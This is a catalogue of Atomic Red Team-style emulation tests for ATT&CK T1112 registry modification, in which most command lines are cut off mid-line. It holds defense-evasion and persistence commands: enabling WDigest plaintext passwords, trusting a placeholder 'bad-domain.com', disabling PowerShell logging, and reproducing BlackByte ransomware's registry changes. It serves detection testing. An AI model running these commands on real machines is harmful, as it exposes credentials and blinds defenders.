T1112 - Modify Registry

Description from ATT&CK

> Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
> Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.
>
> Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017)

> The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.

Atomic Tests

- Atomic Test #1 - Modify Registry of Current User Profile - cmd
- Atomic Test #2 - Modify Registry of Local Machine - cmd
- Atomic Test #3 - Modify registry to store logon credentials
- Atomic Test #4 - Add domain to Trusted sites Zone
- Atomic Test #5 - Javascript in registry
- Atomic Test #6 - Change Powershell Execution Policy to Bypass
- Atomic Test #7 - BlackByte Ransomware Registry Changes - CMD
- Atomic Test #8 - BlackByte Ransomware Registry Changes - Powershell
- Atomic Test #9 - Disable Windows Registry Tool
- Atomic Test #10 - Disable Windows CMD application
- Atomic Test #11 - Disable Windows Task Manager application
- Atomic Test #12 - Disable Windows Notification Center
- Atomic Test #13 - Disable Windows Shutdown Button
- Atomic Test #14 - Disable Windows LogOff Button
- Atomic Test #15 - Disable Windows Change Password Feature
- Atomic Test #16 - Disable Windows Lock Workstation Feature
- Atomic Test #17 - Activate Windows NoDesktop Group Policy Feature
- Atomic Test #18 - Activate Windows NoRun Group Policy Feature

- Atomic Test #19 - Activate Windows NoFind Group Policy Feature
- Atomic Test #20 - Activate Windows NoControlPanel Group Policy Feature
- Atomic Test #21 - Activate Windows NoFileMenu Group Policy Feature
- Atomic Test #22 - Activate Windows NoClose Group Policy Feature
- Atomic Test #23 - Activate Windows NoSetTaskbar Group Policy Feature
- Atomic Test #24 - Activate Windows NoTrayContextMenu Group Policy Feature
- Atomic Test #25 - Activate Windows NoPropertiesMyDocuments Group Policy Feature
- Atomic Test #26 - Hide Windows Clock Group Policy Feature
- Atomic Test #27 - Windows HideSCAHealth Group Policy Feature
- Atomic Test #28 - Windows HideSCANetwork Group Policy Feature
- Atomic Test #29 - Windows HideSCAPower Group Policy Feature
- Atomic Test #30 - Windows HideSCAVolume Group Policy Feature
- Atomic Test #31 - Windows Modify Show Compress Color And Info Tip Registry
- Atomic Test #32 - Windows Powershell Logging Disabled
- Atomic Test #33 - Windows Add Registry Value to Load Service in Safe Mode without Network
- Atomic Test #34 - Windows Add Registry Value to Load Service in Safe Mode with Network
- Atomic Test #35 - Disable Windows Toast Notifications
- Atomic Test #36 - Disable Windows Security Center Notifications
- Atomic Test #37 - Suppress Win Defender Notifications
- Atomic Test #38 - Allow RDP Remote Assistance Feature
- Atomic Test #39 - NetWire RAT Registry Key Creation
- Atomic Test #40 - Ursnif Malware Registry Key Creation
- Atomic Test #41 - Terminal Server Client Connection History Cleared

Atomic Test #1 - Modify Registry of Current User Profile - cmd

Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced.

Supported Platforms: Windows

auto_generated_guid: 1324796b-d0f6-455a-b4ae-21ffee6aa6b9

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advan
```

Cleanup Commands:

```
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Ad
```

Atomic Test #2 - Modify Registry of Local Machine - cmd

Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup. This should only be possible when CMD is ran as Administrative rights. Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the modified entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Supported Platforms: Windows

auto_generated_guid: 282f929a-6bc5-42b8-bd93-960c3ba35afe

Inputs:

Name	Description	Type	Default Value
new_executable	New executable to run on startup instead of Windows Defender	String	calc.exe

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXI
```

Cleanup Commands:

```
reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v Seci
```

Atomic Test #3 - Modify registry to store logon credentials

Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping). Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.

Supported Platforms: Windows

auto_generated_guid: c0413fb5-33e2-40b7-9b6f-60b29f4a7a18

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogoi
```

Cleanup Commands:

```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogoi
```

Atomic Test #4 - Add domain to Trusted sites Zone

Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365. Upon execution, details of the new registry entries will be displayed. Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap.

https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf

Supported Platforms: Windows

auto_generated_guid: cf447677-5a4e-4937-a82c-e47d254afd57

Inputs:

Name	Description	Type	Default Value
bad_domain	Domain to add to trusted site zone	String	bad-domain.com

Attack Commands: Run with `powershell`!

```
$key= "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\D
$name ="bad-subdomain"
new-item $key -Name $name -Force
new-itemproperty $key$name -Name https -Value 2 -Type DWORD;
new-itemproperty $key$name -Name http  -Value 2 -Type DWORD;
new-itemproperty $key$name -Name *     -Value 2 -Type DWORD;
```

Cleanup Commands:

```
$key = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\I
Remove-item  $key -Recurse -ErrorAction Ignore
```

Atomic Test #5 - Javascript in registry

Upon execution, a javascript block will be placed in the registry for persistence. Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings.

Supported Platforms: Windows

auto_generated_guid: 15f44ea9-4571-4837-be9e-802431a7bfae

Attack Commands: Run with `powershell`!

```
New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Setting
```

Cleanup Commands:

```
Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Sett
```

Atomic Test #6 - Change Powershell Execution Policy to Bypass

Attackers need to change the powershell execution policy in order to run their malicious powershell scripts. They can either specify it during the execution of the powershell script or change the registry value for it.

Supported Platforms: Windows

auto_generated_guid: f3a6cceb-06c9-48e5-8df8-8867a6814245

Inputs:

Name	Description	Type	Default Value
default_execution_policy	Specify the default poweshell execution policy	String	Default

Attack Commands: Run with `powershell`!

```
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine
```

Cleanup Commands:

```
try { Set-ExecutionPolicy -ExecutionPolicy #{default_execution_policy} -Scope Loca
```

Atomic Test #7 - BlackByte Ransomware Registry Changes - CMD

This task recreates the steps taken by BlackByte ransomware before it worms to other machines. See "Preparing to Worm" section: https://redcanary.com/blog/blackbyte-ransomware/ The steps are as follows:

1. 1. Elevate Local Privilege by disabling UAC Remote Restrictions
2. 2. Enable OS to share network connections between different privilege levels
3. 3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths

The registry keys and their respective values will be created upon successful execution.
Supported Platforms: Windows

auto_generated_guid: 4f4e2f9f-6209-4fcf-9b15-3b7455706f5b

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /
cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v LongPathsEna
```

Cleanup Commands:

```
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v Local
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v Enabl
```

```
reg delete HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\ /v LongPathsEnabled /
```

Atomic Test #8 - BlackByte Ransomware Registry Changes - Powershell

This task recreates the steps taken by BlackByte ransomware before it worms to other machines via Powershell. See "Preparing to Worm" section: https://redcanary.com/blog/blackbyte-ransomware/ The steps are as follows:

1. 1. Elevate Local Privilege by disabling UAC Remote Restrictions
2. 2. Enable OS to share network connections between different privilege levels
3. 3. Enable long path values for file paths, names, and namespaces to ensure encryption of all file names and paths

The registry keys and their respective values will be created upon successful execution.
Supported Platforms: Windows

auto_generated_guid: 0b79c06f-c788-44a2-8630-d69051f1123d

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
New-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
New-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" -Name LongPath
```

Cleanup Commands:

```
Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Syst
Remove-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Syst
Remove-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\FileSystem" -Name Long
```

Atomic Test #9 - Disable Windows Registry Tool

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows registry tool to prevent user modifying registry entry. See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry

Supported Platforms: Windows

auto_generated_guid: ac34b0f7-0f85-4ac0-b93e-3ced2bc69bb8

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\syste
```

Cleanup Commands:

```
powershell Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVers
```

Atomic Test #10 - Disable Windows CMD application

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows CMD application. See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry

Supported Platforms: Windows

auto_generated_guid: d2561a6d-72bd-408c-b150-13efe1801c2a

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
New-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\System" -Name Di
```

Cleanup Commands:

```
Remove-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\System" -Name
```

Atomic Test #11 - Disable Windows Task Manager application

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows task manager application. See example how Agent Tesla malware abuses this technique: https://any.run/report/ea4ea08407d4ee72e009103a3b77e5a09412b722fdef67315ea63f22011152af/a866d7b1-c236-4f26-a391-5ae32213dfc4#registry

Supported Platforms: Windows

auto_generated_guid: af254e70-dd0e-4de6-9afe-a994d9ea8b62

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syst
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Sy
```

Atomic Test #12 - Disable Windows Notification Center

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows notification center. See how remcos rat abuses this technique- https://tccontre.blogspot.com/2020/01/remcos-rat-evading-windows-defender-av.html

Supported Platforms: Windows

auto_generated_guid: c0d6d67f-1f63-42cc-95c0-5fd6b20082ad

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer /v DisableN
```

Cleanup Commands:

```
reg delete HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer /v Disab
```

Atomic Test #13 - Disable Windows Shutdown Button

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows shutdown button. See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom.msil.screenlocker.a/

Supported Platforms: Windows

auto_generated_guid: 6e0d1131-2d7e-4905-8ca5-d6172f05d03d

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Sys
```

Cleanup Commands:

```
reg delete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
```

Atomic Test #14 - Disable Windows LogOff Button

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows logoff button. See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/be/threat-encyclopedia/search/js_noclose.e/2

Supported Platforms: Windows

auto_generated_guid: e246578a-c24d-46a7-9237-0213ff86fb0c

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #15 - Disable Windows Change Password Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows change password feature. See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom_heartbleed.thdobah

Supported Platforms: Windows

auto_generated_guid: d4a6da40-618f-454d-9a9e-26af552aaeb0

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syst
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S
```

Atomic Test #16 - Disable Windows Lock Workstation Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows Lock workstation feature. See how ransomware abuses this technique- https://www.bleepingcomputer.com/news/security/in-dev-ransomware-forces-you-do-to-survey-before-unlocking-computer/

Supported Platforms: Windows

auto_generated_guid: 3dacb0d2-46ee-4c27-ac1b-f9886bf91a56

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Syst
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\S
```

Atomic Test #17 - Activate Windows NoDesktop Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to hide all icons on Desktop Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis

Supported Platforms: Windows

auto_generated_guid: 93386d41-525c-4a1b-8235-134a628dee17

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #18 - Activate Windows NoRun Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Remove Run menu from Start Menu Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis

Supported Platforms: Windows

auto_generated_guid: d49ff3cc-8168-4123-b5b3-f057d9abbd55

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #19 - Activate Windows NoFind Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Remove Search menu from Start Menu Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis

Supported Platforms: Windows

auto_generated_guid: ffbb407e-7f1d-4c95-b22e-548169db1fbd

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explo
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ex
```

Atomic Test #20 - Activate Windows NoControlPanel Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Disable Control Panel Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis

Supported Platforms: Windows

auto_generated_guid: a450e469-ba54-4de1-9deb-9023a6111690

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explo
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #21 - Activate Windows NoFileMenu Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Remove File menu from Windows Explorer Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis

Supported Platforms: Windows

auto_generated_guid: 5e27bdb4-7fd9-455d-a2b5-4b4b22c9dea4

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #22 - Activate Windows NoClose Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Disable and remove the Shut Down command Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how Trojan abuses this technique- https://www.sophos.com/de-de/threat-center/threat-analyses/viruses-and-spyware/Troj~Krotten-N/detailed-analysis

Supported Platforms: Windows

auto_generated_guid: 12f50e15-dbc6-478b-a801-a746e8ba1723

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #23 - Activate Windows NoSetTaskbar Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Disable changes to Taskbar and Start Menu Settings Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details

Supported Platforms: Windows

auto_generated_guid: d29b7faf-7355-4036-9ed3-719bd17951ed

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #24 - Activate Windows NoTrayContextMenu Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Disable context menu for taskbar Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details

Supported Platforms: Windows

auto_generated_guid: 4d72d4b1-fa7b-4374-b423-0fe326da49d2

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #25 - Activate Windows NoPropertiesMyDocuments Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to hide Properties from "My Documents icon" Group Policy. Take note that some Group Policy changes might require a

restart to take effect. See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details

Supported Platforms: Windows

auto_generated_guid: 20fc9daa-bd48-4325-9aff-81b967a84b1d

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #26 - Hide Windows Clock Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to Hide Clock Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details

Supported Platforms: Windows

auto_generated_guid: 8023db1e-ad06-4966-934b-b6a0ae52689e

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #27 - Windows HideSCAHealth Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to remove security and maintenance icon Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details

Supported Platforms: Windows

auto_generated_guid: a4637291-40b1-4a96-8c82-b28f1d73e54e

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #28 - Windows HideSCANetwork Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to remove the networking icon Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details

Supported Platforms: Windows

auto_generated_guid: 3e757ce7-eca0-411a-9583-1c33b8508d52

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explo
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ex
```

Atomic Test #29 - Windows HideSCAPower Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to remove the battery icon Group Policy. Take note that some Group Policy changes might require a restart to take effect. See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details

Supported Platforms: Windows

auto_generated_guid: 8d85a5d8-702f-436f-bc78-fcd9119496fc

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explo
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ex
```

Atomic Test #30 - Windows HideSCAVolume Group Policy Feature

Modify the registry of the currently logged in user using reg.exe via cmd console to remove the volume icon Group Policy. Take note that some Group Policy changes might require a restart to take effect.. See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details

Supported Platforms: Windows

auto_generated_guid: 7f037590-b4c6-4f13-b3cc-e424c5ab8ade

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Expl
```

Cleanup Commands:

```
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\E
```

Atomic Test #31 - Windows Modify Show Compress Color And Info Tip Registry

Modify the registry of the currently logged in user using reg.exe via cmd console to show compress color and show tips feature. See how hermeticwiper uses this technique - https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html

Supported Platforms: Windows

auto_generated_guid: 795d3248-0394-4d4d-8e86-4e8df2a2693f

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg  add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowI
reg  add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowC
```

Cleanup Commands:

```
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Sho
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Sho
```

Preview | Code | Blame — Raw

Atomic Test #32 - Windows Powershell Logging Disabled

Modify the registry of the currently logged in user using reg.exe via cmd console to disable Powershell Module Logging, Script Block Logging, Transcription and Script Execution see https://admx.help/?Category=Windows_10_2016&Policy=Microsoft.Policies.PowerShell::EnableModuleLogging

Supported Platforms: Windows

auto_generated_guid: 95b25212-91a7-42ff-9613-124aca6845a8

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg  add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v Enab
reg  add HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging /v
reg  add HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v Enab
reg  add HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /t RE
REM do a little cleanup immediately to avoid execution issues with later tests
reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell /v EnableScripts /f
```

Cleanup Commands:

```
reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging /v En
reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg delete HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription /v En
```

Atomic Test #33 - Windows Add Registry Value to Load Service in Safe Mode without Network

Modify the registry to allow a driver, service, to persist in Safe Mode. see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details. Adding a subkey to Minimal with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode without networking. The same applies for the Network subkey.

Supported Platforms: Windows

auto_generated_guid: 1dd59fb3-1cb3-4828-805d-cf80b4c3bbb5

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode" /VI
```

Cleanup Commands:

```
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\AtomicSafeMode"
```

Atomic Test #34 - Windows Add Registry Value to Load Service in Safe Mode with Network

Modify the registry to allow a driver, service, to persist in Safe Mode with networking. see https://redcanary.com/blog/tracking-driver-inventory-to-expose-rootkits/ and https://blog.didierstevens.com/2007/03/26/playing-with-safe-mode/ for further details. Adding a subkey to Netowrk with the name of your service and a default value set to Service, makes that your service will be started when you boot into Safe Mode with networking.

Supported Platforms: Windows

auto_generated_guid: c173c948-65e5-499c-afbe-433722ed5bd4

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode" /VI
```

Cleanup Commands:

```
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AtomicSafeMode"
```

Atomic Test #35 - Disable Windows Toast Notifications

Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows toast notification. See how azorult malware abuses this technique- https://app.any.run/tasks/a6f2ffe2-e6e2-4396-ae2e-04ea0143f2d8/

Supported Platforms: Windows

auto_generated_guid: 003f466a-6010-4b15-803a-cbb478a314d7

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
